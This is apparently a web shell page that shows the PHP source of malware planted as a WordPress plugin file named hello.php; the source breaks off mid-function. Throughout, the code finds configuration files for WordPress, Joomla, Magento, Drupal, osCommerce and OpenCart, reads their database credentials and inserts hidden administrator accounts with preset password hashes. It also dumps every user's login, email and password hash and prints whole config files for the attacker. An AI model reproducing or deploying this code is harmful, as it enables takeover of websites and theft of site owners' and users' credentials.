HEX
Server: Apache/2.4.6 () PHP/7.4.33
System: Linux chile-dev-app-1 5.4.17-2136.315.5.el7uek.x86_64 #2 SMP Wed Dec 21 19:57:57 PST 2022 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/hello.php
<?php
@error_reporting(0);
@set_time_limit(3600);
set_error_handler('ErrHandler');
     $wphash = "\$P\$B7h8Q3jH.labrjyUNomDupSAQkMO.6.";
     $jmhash = "\$2y\$10\$KIyEOcDeVY1ptr3gteyi6OKinZuUZGzismk3CZxjdO65xKclfkbEO";
     $mghash = "cd619dc3b4e669c1b8bfb57f83844bf8:td";
     $mg2hash = "48ae7330407c4309b4b23d3ee08a92da882f36d316fb1c9efda7d55e7b8aa487:wbWHuV36uekMUdAcYeoiMzv5HWGoWOSE:1";
     $dphash="\$S\$Dba/oQhE4N7ETKlTKe9wjAQ9BpWJkDfEv2rNka7ECmUBAf4O8m.a";
     $oschash="\$P\$D9MgFqZFC8T6eR6IQpoYrfIsEjwT3B.";
     $opchash="9c33d0a95819b507294142bd78c2bfcc3991501f";
     $opcsalt="oxsxWET3h";
     $vbhash = "56488f3523ec97a3b90a1b8caeed7d8b";
     $vbsecret = "";
     $u_name = generate_password(6);
     /****find config files****/
     $rootpath = "";
     if(isset($_SERVER["DOCUMENT_ROOT"]))
     {
        $rootpath = $_SERVER["DOCUMENT_ROOT"]; 
     } else
     {
         $rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
     }

     
$pathArr =array();
$startPath="";
$depth=3;
$sep = "/";
$isMysqli = false;
if(function_exists('mysqli_connect_errno'))
{
    $isMysqli=true;
}
if (strstr($rootpath,"/")) 
{
    $pathArr = explode("/",$rootpath);
} elseif (strstr($rootpath,"\\"))
{
    $pathArr = explode("\\",$rootpath);
    $sep = "\\";
}
$depth = count($pathArr);
if($depth>=2)
{
    $startPath = $pathArr[0];
    for($i=1;$i<count($pathArr)-1;$i++)
    {
        $startPath = $startPath.$sep.$pathArr[$i];
        $configs=findconfig($startPath,$depth);
        if(count($configs))
        {
            break;
        }
        $depth--;
        
    }
} else
{
    $startPath = $rootpath;
    $configs=findconfig($startPath,$depth);
}


if(count($configs)<=0)
{
  $configs=findconfig($rootpath,2);  
}
$addOk = false;
$configs[]="./core/includes/config.php";
if(is_array($configs))
{
$configs = array_unique($configs);
    foreach($configs as $config)
    {
        try{
            
             $addedUsrs = NULL;
             $gettedUsrs = NULL;
            $cont = file_get_contents($config);
            $cmstype = "";
                     
         if (stripos($config,"wp-config.php"))
         {
             if($isMysqli){
             $addedUsrs=setWPUserI($cont,$u_name,$wphash);
             $gettedUsrs=getWPUserI($cont);
             }else
             {
             $addedUsrs=setWPUser($cont,$u_name,$wphash);
             $gettedUsrs=getWPUser($cont); 
             }
             
             $cmstype = "WORDPRESS";
                   
               
         } 
         elseif(stripos($config,"config.php"))
         {
             if($isMysqli){
             $addedUsrs=setVBUserI($cont,$u_name,$vbhash,$vbsecret);
             $gettedUsrs=getVBUserI($cont);
             
             
             $cmstype = "VB";
             
         }}
         elseif(stripos($config,"configuration.php"))
         {
             if($isMysqli){
             $addedUsrs=setJMUserI($cont,$u_name,$jmhash);
             $gettedUsrs=getJMUserI($cont);
             }else
             {
             $addedUsrs=setJMUser($cont,$u_name,$jmhash);
             $gettedUsrs=getJMUser($cont);
             }
             
             $cmstype = "JOOMLA";
             
         } elseif(stripos($config,"local.xml"))
         {
             if($isMysqli){
             $addedUsrs=setMGUserI($cont,$u_name,$mghash,false);
             $gettedUsrs=getMGUserI($cont,false);
             }else
             {
             $addedUsrs=setMGUser($cont,$u_name,$mghash,false);
             $gettedUsrs=getMGUser($cont,false);
                 
             }
             
             $cmstype = "MAGENTO";
         } elseif(stripos($config,"env.php"))
         {
             if($isMysqli){
             $addedUsrs=setMGUserI($cont,$u_name,$mg2hash,true);
             $gettedUsrs=getMGUserI($cont,true);
             }else
             {
             $addedUsrs=setMGUser($cont,$u_name,$mg2hash,true);
             $gettedUsrs=getMGUser($cont,true);
             }
             
             $cmstype = "MAGENTO";
         } elseif(stripos($config,"settings.php"))
         {
             if($isMysqli){
             $addedUsrs=setDPUserI($cont,$u_name,$dphash);
             $gettedUsrs=getDPUserI($cont);
             }else
             {
             $addedUsrs=setDPUser($cont,$u_name,$dphash);
             $gettedUsrs=getDPUser($cont);
             }
             
             $cmstype = "DRUPAL";
         } 
          elseif(stripos($config,"configure.php"))
         {
             if($isMysqli){
             $addedUsrs=setOSCUserI($cont,$u_name,$oschash);
             $gettedUsrs=getOSCUserI($cont);
             }else
             {
             $addedUsrs=setOSCUser($cont,$u_name,$oschash);
             $gettedUsrs=getOSCUser($cont);
             }
             
             $cmstype = "OSCOMMERCE";
         }
         elseif(stripos($config,"config.php")&&stripos($cont,"'DB_DATABASE"))
         {
             if($isMysqli){
             $addedUsrs=setOPCUserI($cont,$u_name,$opchash,$opcsalt);
             $gettedUsrs=getOPUserI($cont);
             }else
             {
             $addedUsrs=setOPCUser($cont,$u_name,$opchash,$opcsalt);
             $gettedUsrs=getOPUser($cont);
             }
             ;
             $cmstype = "OPENCART";
         } 

         if(is_array($addedUsrs))
             {
                 try
                   {
                       $url = $addedUsrs["url"];
                       if(empty($url))
                       {$url=$config;}
                       if(!$addOk)
                       {
                          $addOk = true;
                          echo "explOK12345" ;
                          echo "<br>";
                       }
                       echo "=====startAdd=====";
                       echo $cmstype.":".$url.":".$addedUsrs["user"].":".$addedUsrs["pass"];
                       echo "=====endAdd=====";
                   }catch(Exception $e)
                   {  ;}
                   echo "<br>";
                 
             }
         if(is_array($gettedUsrs))
             {
                 try
                   {
                       $url = $gettedUsrs["url"];
                       if(empty($url))
                      {$url=$config;}
                       if(!$addOk)
                       {
                          $addOk = true;
                          echo "explOK12345" ;
                          echo "<br>";
                       }
                       if(is_array($gettedUsrs["data"]))
                       {
                           echo "=====startSelect=====";
                          foreach ($gettedUsrs["data"] as $usr)
                       {
                           echo $cmstype.":".$url.":".$usr."<br>";
                       } 
                       echo "=====endSelect=====";
                       }
                       
                       
                   }catch(Exception $e)
                   { ;}
                  // echo "<br>";
                 
             }
             
         $cont = trim(file_get_contents($config));
         if($cont!='')
             {
                 try
                   {
                       
                       if(!$addOk)
                       {
                          $addOk = true;
                          echo "explOK12345" ;
                          echo "<br>";
                       }
                       echo "=====startConfig=====";
                       echo "configpath:".$config."<br>";
                       echo str_replace(array('<?','?>') ,'',$cont);
                    
                       echo "=====endConfig=====";
                       
                   }catch(Exception $e)
                   { 
                       ;
                   }
                  // echo "<br>";
                 
             }
             
        }catch(Exception $e)
        {;}
        finally
        {
            ;
        }
        
       
        
    }
    
}

 
// unlink($_SERVER["SCRIPT_FILENAME"]);
exit();
 function findconfig($source,$depth)
{

    $source = str_replace('\\', '/', realpath($source));
    $result=array();
   try
   {
      if (is_dir($source) === true)
    {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
        $files->setMaxDepth($depth);
        foreach ($files as $file => $fileInfo)
        {
            try{
                $file = str_replace('\\', '/', $file);
                $file2 = $file;
            if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
                continue;
            $file = realpath($file);
            
            if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
            {
               $result[]=$file;
                
            } 
            if(is_dir($file)&&strstr($file2,"app/etc"))
            {
                //
                //local.xml
                if(file_exists(realpath($file."/env.php")))
                {
                   $result[]=  realpath($file."/env.php");
                }
                elseif(file_exists(realpath($file."/local.xml")))
                {
                   $result[]= realpath($file."/local.xml");
                } 
                
            }
            if(is_dir($file)&&strstr($file2,"sites/default"))
            {
                         if ($handle = opendir($file2)) {
    while (false !== ($fi = readdir($handle))) { 
        if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) { 
            if (strstr($fi,"settings.php"))
            $result[]  = $file2."/".$fi;
        } 
    }
    closedir($handle); 
}
                
            }
             if (is_dir($file)&&strstr($file2,"/admin/includes"))
            {
                 if(file_exists(realpath($file2."/configure.php")))
                 {
                      $result[]= realpath($file."/configure.php");
                      ;
                 }
            }
            }catch(Exception $iterex)
            {
                ;
            }
        }
    }
    elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"||basename($file)=="config.php"))
    {
        
        $result[]=$file;
    } elseif(is_dir($file)&&stristr($file,"app/etc"))
    {
        if(file_exists(realpath($file."/env.php")))
                {
                    $result[]= realpath($file."/env.php");
                }
                elseif(file_exists(realpath($file."/local.xml")))
                {
                   $result[]= realpath($file."/local.xml");
                } 
    }elseif(is_dir($file)&&strstr($file2,"sites/default"))
            {
                         if ($handle = opendir($file2)) {
    while (false !== ($fi = readdir($handle))) { 
        if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) { 
            if (strstr($fi,"settings.php"))
            $result[]  = $file2."/".$fi;
        } 
    }
    closedir($handle); 
}
            }
            elseif(is_dir($file)&&stristr($file,"admin/includes"))
    {
        if(file_exists(realpath($file."/configure.php")))
                {
                    $result[]= realpath($file."/configure.php");
                }
                
    }
            
   } catch (Exception $e) {
       ;
    }
    
    

  
  return $result;
}

  function generate_password($number)
  {
    $arr = array('a','b','c','d','e','f',
                 'g','h','i','j','k','l',
                 'm','n','o','p','r','s',
                 't','u','v','x','y','z',
                 'A','B','C','D','E','F',
                 'G','H','I','J','K','L',
                 'M','N','O','P','R','S',
                 'T','U','V','X','Y','Z',
                 '1','2','3','4','5','6',
                 '7','8','9','0' );
    $pass = "";
    for($i = 0; $i < $number; $i++)
    {
      $index = rand(0, count($arr) - 1);
      $pass .= $arr[$index];
    }
    return $pass;
  }
  
  function setWPUser($cont,$u_name,$pass)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_NAME"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_user"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_host"))
    {$db_host=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
    if(is_array($mpreffix)&&count($mpreffix)==3)
    {$tbl_preffix=$mpreffix[2];}
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {
        $result =  mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri=trim($row[0]);
           
        }
        $result =  mysql_query ("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ", $con_mss);
                    if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[1]==$u_name&&$row[2]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[2]==$pass)
            {
                $otheruser = $row;
              
            } else if($row[1]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }
          
        
                
        
            }
        $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        if($insusrquery)
        {
            $result =  mysql_query ("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $usrdID=$row[0];
           if($usrdID>0)
           {
               $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ", $con_mss) or $ErrorMsg  =  mysql_error();
               if($insusrquery)
               {
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
           }
        }
        }
        
    }
    }
}
}
}
  }
  
  function setJMUser($cont,$u_name,$pass)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"\$db "))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$user "))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$host"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$dbprefix"))
    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$sitename"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
                $result =  mysql_query ("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ", $con_mss);
                    if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[1]==$u_name&&$row[2]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[2]==$pass)
            {
                $otheruser = $row;
            } else if($row[1]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }        
            }
        $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        
        if($insusrquery)
        {
            $result =  mysql_query ("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ", $con_mss);
            if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $usrdID=$row[0];
           if($usrdID>0)
           {
               $adminID=7;
              $result =  mysql_query ("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ", $con_mss);
        if($result)
        {
            $row = mysql_fetch_row($result);
             if(is_array($row)&&count($row)>0)
           $adminID=trim($row[0]);
            
           
           
        }
        
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ", $con_mss) or $ErrorMsg  =  mysql_error();
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
               }
        
           }
        }
            
        }
        
            }
        }
    }
}
}
  }
  
  function setMGUser($cont,$u_name,$pass,$ismg2)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
     if(!$ismg2&&stristr($cont,"<?xml version"))
     {
        $dbdata = new SimpleXMLElement($cont);
        $db_name = $dbdata->global->resources->default_setup->connection->dbname; 
        $db_user = $dbdata->global->resources->default_setup->connection->username;
        $db_pass = $dbdata->global->resources->default_setup->connection->password;
        $db_host= $dbdata->global->resources->default_setup->connection->host;
        $tbl_preffix=$dbdata->global->resources->db->table_prefix; 
        
     } elseif($ismg2&&stristr($cont,"'host' =>"))
     {
         //'host' => 'localhost',
     preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"dbname"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"table_prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
                $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri=trim($row[0]);
           
        }
                $result =  mysql_query ("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ", $con_mss);
                     if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[1]==$u_name&&$row[2]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[2]==$pass)
            {
                $otheruser = $row;
            } else if($row[1]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }        
            }
        $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        
        if($insusrquery)
        {
            if(!$ismg2){
                
            
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')",$con_mss) or $ErrorMsg  =  mysql_error();
            } else
            {
                $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')",$con_mss) or $ErrorMsg  =  mysql_error();
            }
            
            //$roletbl="";
            //$roletbl="";
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
                  
               }
        
           
        
            
        }
        
            }
        }
    }
}

  }
  
  function setDPUser($cont,$u_name,$pass)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
if(stristr($cont,"'host' =>"))
     {
         
      preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
         
     if(is_array($matchdbs)) 
     {
     foreach($matchdbs[0] as $matchdb )
     {
         if(stristr($matchdb,"password"))
         {
                 preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"database"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     } 
     break;
         }
     }  

     }
     
     }
     
        if(!is_null($db_name)&&!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
                $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri= unserialize(trim($row[0]));
           
        }
        $ErrorMsg = "";
        $isD8 = false;
        $result =  mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg  =  mysql_error();
        if ($ErrorMsg)
                {
                    $isD8 = true;
                    $ErrorMsg = "";
        $result =  mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg  =  mysql_error();
                }
        
             if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[1]==$u_name&&$row[2]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[2]==$pass)
            {
                $otheruser = $row;
                
            } else if($row[1]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }
          
        
                
        
            }
        
        if($isD8)
        {
           $result =  mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users_field_data", $con_mss); 
        } else
        {
            $result =  mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users", $con_mss);
        }
        
        $prevuid=256;
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $prevuid= $row[0]+1;
           
        }
        
        if ($isD8)
        {
            $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
            if($insusrquery)
        {
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ", $con_mss) or $ErrorMsg  =  mysql_error();
            
            if($insusrquery)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            }
        }
            
        
        }
        else
        {
            $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        if($insusrquery)
        {
           $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ", $con_mss) or $ErrorMsg  =  mysql_error();  
           if($insusrquery)
           {
               $result =  mysql_query ("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $rid= $row[0];
           $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')", $con_mss) or $ErrorMsg  =  mysql_error();
           if($insusrquery)
           {
               $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ", $con_mss) or $ErrorMsg  =  mysql_error();
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
                  
               }  
           } 
           
        }
           }     
        }
        }
    }
    }
}
  }
  }

    function getWPUser($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_NAME"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_user"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_host"))
    {$db_host=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
    if(is_array($mpreffix)&&count($mpreffix)==3)
    {$tbl_preffix=$mpreffix[2];}
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {
        $result =  mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri=trim($row[0]);
           
        }
        
        $ErrorMsg = "";
        $result2 =  mysql_query ("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[2])){
  $usrArray[] = $row[0].":".$row[1].":".$row[2];
    }
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}

        
        
    }
    }
}
}
}
  }
  
  function getJMUser($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"\$db "))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$user "))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$host"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$dbprefix"))
